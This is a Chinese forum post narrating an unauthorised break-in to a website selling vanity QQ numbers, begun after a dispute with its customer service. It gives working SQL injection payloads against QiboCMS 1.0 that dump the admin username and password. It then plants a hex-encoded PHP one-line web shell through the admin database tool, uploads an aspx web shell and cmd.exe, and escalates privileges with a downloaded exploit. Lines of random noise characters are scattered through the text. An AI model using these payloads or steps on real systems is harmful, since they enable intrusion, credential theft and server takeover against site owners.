|
7 `- i! o: X) z! [2 Z# e* P2 ~
) L# ]; q- h# L) R* M# _* U) d
" u6 h/ o2 Z# n% R1 D( q/ n
7 k* r* o, ^' w 一、踩点寻找漏洞
; U# `! x' G9 ? G. F5 M
闲来无事，在各个QQ靓号群求买5位QQ，寻问半天无果就在百度搜索5位QQ扫号找到“目标”www.qq.com，打开一看就一静态页面，哇好多靓号啊，90000000,300000,98888888，199999999，哇这么多靓号，然后我去联系客服，要求客服登录账户看看，此处略去100字，然后开始撕逼，然后就有了下文。。。。
; j0 @+ d: w7 }3 e* A8 h随手拿御剑扫了一下好多php页面，随手加一个member发现是齐博1.0的内容管理系统，然后就去百度找漏洞，什么后门漏洞一一做测试都无果，找来找去找到一个全版本的注入漏洞，详细利用方法如下：
) e' f2 h. o8 {" w( d. w先注册一个用户，记住注册时候的邮箱以uid号，
) i; W8 f; R9 ^) B
4 j5 r* H4 T' s; B2 Z
& M! C0 K9 q' F4 u& r) ]
然后我们打开火狐浏览器简单构造一下，http://www.qq.com/member/userinfo.php?job=edit&step=2，发送数据包如下：
& D6 ], l' p. d4 X2 }7 L
1 c5 R$ v. R; F+ `/ [. gtruename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23
6 D! N {1 s: i& w7 `这里的email和uid一定要和注册的账号所吻合，然后访问，提示成功以后查看用户资料如图：
4 p7 I$ ]( R' e+ |4 H1 R; L8 h6 l
9 }) T2 h$ O& g3 I' q4 g% d
确实存在注入漏洞，那么我们来注入一下管理账号密码，修改数据包如：truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select concat(username,0x2e,password) from qb_members limit 1) where uid=3%23
; e( h( {; a, }
9 R/ y# R3 U9 G @
1 e! z2 \( W2 {) {8 |解密进后台如图：
; b7 c5 j1 e; q& | i$ l% T1 `: L+ Y, q
! b$ `8 w( u: K" M( |: g' @
% H# I9 {- i7 F2 E/ H: F: w
+ T5 W% o# A& z8 k9 T
二、后台getwebshell
# U) `# _+ C; S% s
进了后台，以前齐博有个后台getwebshell漏洞，在系统功能- 单篇文章独立页面管理-增加页面添加个webshell，如图：
' o% h" ?: N/ w, [
3 `$ |/ L+ N8 q2 d
* j5 e; w7 c! ?1 q
' o' a5 f* t, b% [% A1 R+ q
然后点确定，添加提示
9 C" G8 ~% R- z: R- V8 E& o- H7 y( M
# ^! s6 } a7 q6 A! ^
! _# H2 D Q" U5 U2 w- Y( N
4 {9 K% b7 d5 Q3 e8 c
由于是ii6.0的所以我们可以考虑一下解析漏洞，我们再来如图：
- X- c8 l% } t$ i/ S+ r
7 O2 o$ M- k8 M' r' `6 u8 b3 S
* U" {( m! z$ v( e$ Y改静态页面为help.php;.htm，然后我们发现访问help.php;.htm是404（写文章之前测试是可以成功写入的），欧巴，他么的我们再想想别的办法，抽了一支烟，我们继续，他这里不是有个服务器信息、数据库工具吗，之前我们测试当前用户名是root，那么我们完全可以考虑利用服务器信息、数据库工具来导入一句话，屌屌的妈妈的，我们来演示一下，先把一句话hex编码一下，<?php assert($_POST[sb]);?>编码以后是：0x3C3F7068702061737365727428245F504F53545B73625D293B3F3EDA网站目录是D:\wwwroot\qq.com\admin\，注意我们要把\改成/,否则不成功D:/wwwroot/qq.com/admin/,下面我们来导一下
! C' |$ g& @/ L8 T9 P
如图：
) x* a! v6 ^% F6 |8 l
' _" X0 L: }0 X5 u# {
" u, j( N! X9 _- I* {2 l
' N( V: j7 R0 X" o: h之前已经测试过了用普通菜刀无法连接，测试用过狗菜刀也无法连接，用xiese打开
/ O* l3 k) M8 W
3 U" U; p; J6 `; B2 \: O) E
I+ |6 h( H6 a
( T4 V: c" I$ o
三、提权进服务器
! R' m, a& x1 K' o7 Y经测试xise下一句话只有在admin目录下有权限浏览，且不能执行命令，庆幸的是支持aspx，那么我们就上一个aspx大马，然后执行命令提示拒绝访问，哈哈在c:\windows\temp下上传cmd.exe然后执行systeminfo，发现打了400多补丁，如图：
3 w( G, Q! B5 D9 W+ A% t: N# q
- K ]3 M2 B4 b- a+ ?" n
8 C9 d3 t+ w, g# q- n
啧啧啧，这么多补丁，我都没去试试今年和2014年放出来的exp，而且是在咱们大00下载了一个变异pr，然后上传提权如图：
9 x% w& y1 s9 W2 D3 d% |
# L" D# H7 E: C- L7 }! R
1 q! @8 _! @$ k% l3 b$ @3 p3 B
然后登陆服务器如图：
5 ?: i% y3 j, o; F. `; R1 r
( a7 N# q8 r7 r7 d7 e
$ v) w0 ]# t! r! k3 G H
' S0 X3 }( m( {; ^* j. z1 A- f
& Q2 y& H: c& \ R8 @) I
% P/ x! L4 Z3 ~$ Y难怪普通刀连接不上，原来是有狗。
+ n4 O# V1 d( ^, ]
( X. u$ P+ ?+ U- _# M# L; | E
& d" _* Y% p# E2 T/ }
3 Q5 a2 E6 i$ k3 s% `
9 y) {/ g& w! n) o% }% C) u
6 K7 N6 C5 }; r, m( R# M- F* d, U7 X
' B8 {+ ]& b9 |4 h' D2 V0 b6 R
| 
发表于 2018-10-20 20:08:47
收藏
支持
反对